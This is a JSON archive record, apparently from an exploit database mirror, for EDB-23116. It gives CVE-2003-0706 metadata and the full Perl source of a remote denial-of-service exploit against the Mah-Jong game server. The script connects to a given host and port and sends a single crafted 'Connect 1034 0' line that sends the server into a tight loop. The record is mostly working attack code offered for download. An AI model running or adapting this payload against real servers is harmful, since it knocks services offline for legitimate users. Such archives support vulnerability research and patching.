{"exploit":{"id":"EDB-23116","name":"Mah-Jong 1.4/1.6 - Server Remote Denial of Service (DoS)","description":"Mah-Jong 1.4/1.6 - Server Remote Denial of Service (DoS)","cves":["CVE-2003-0706"],"author":"jsk","published":"2003-09-07","platform":"linux","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23116","path":"exploits/linux/dos/23116.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23116.pl","vulnerabilities":[{"id":"CVE-2003-0706","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unknown vulnerability in mah-jong 1.5.6 and earlier allows remote attackers to cause a denial of service (tight loop).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0706","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0706"},"updatedAt":"2024-09-17T00:16:09.366Z","retrievedAt":"2026-11-27T00:11:53.739Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23116.png?v=2","url":"https://exploitbin.com/exploits/EDB-23116","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23116/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23116/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -s\n# source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/8558/info\n\n# A remote denial of service vulnerability has been reported to affect the mah-jong game server. The issue has been reported to be exploitable so that a remote attacker may trigger a tight loop in the affected mah-jong server. This will cause the game server to be unresponsive to further commands, effectively denying service to legitimate users.\n\nuse IO::Socket;\n# test it in slackware 9.0\n# DOS-test--mj1.6--code by jsk\n# mahJong 1.6, all versions of mahjong\nif(!$ARGV[0] || !$ARGV[1])\n { print \"usage: ./dosmj.pl <host> <port>\\n\"; exit(-1); }\n\n$host = $ARGV[0];\n$port = $ARGV[1];\n$jsk =\"Connect 1034 0\";\n$socket = new IO::Socket::INET (\n Proto => \"tcp\",\n PeerAddr => $host,\n PeerPort => $port);\n\ndie \"unable to connect to $host:$port ($!)\\n\" unless $socket;\nprint $socket \"Connect 1034 0\";\nprint $socket \"\\r\\n\";\nclose($socket);","sha256":"7a6acdceb784e33091c61e8a96e9b91f219a6cf4de0c388f7e90b47daaa996e1","bytes":938,"fetchedAt":"2026-11-27T00:11:48.838Z","encoding":"utf-8 (display only; download retains original bytes)"}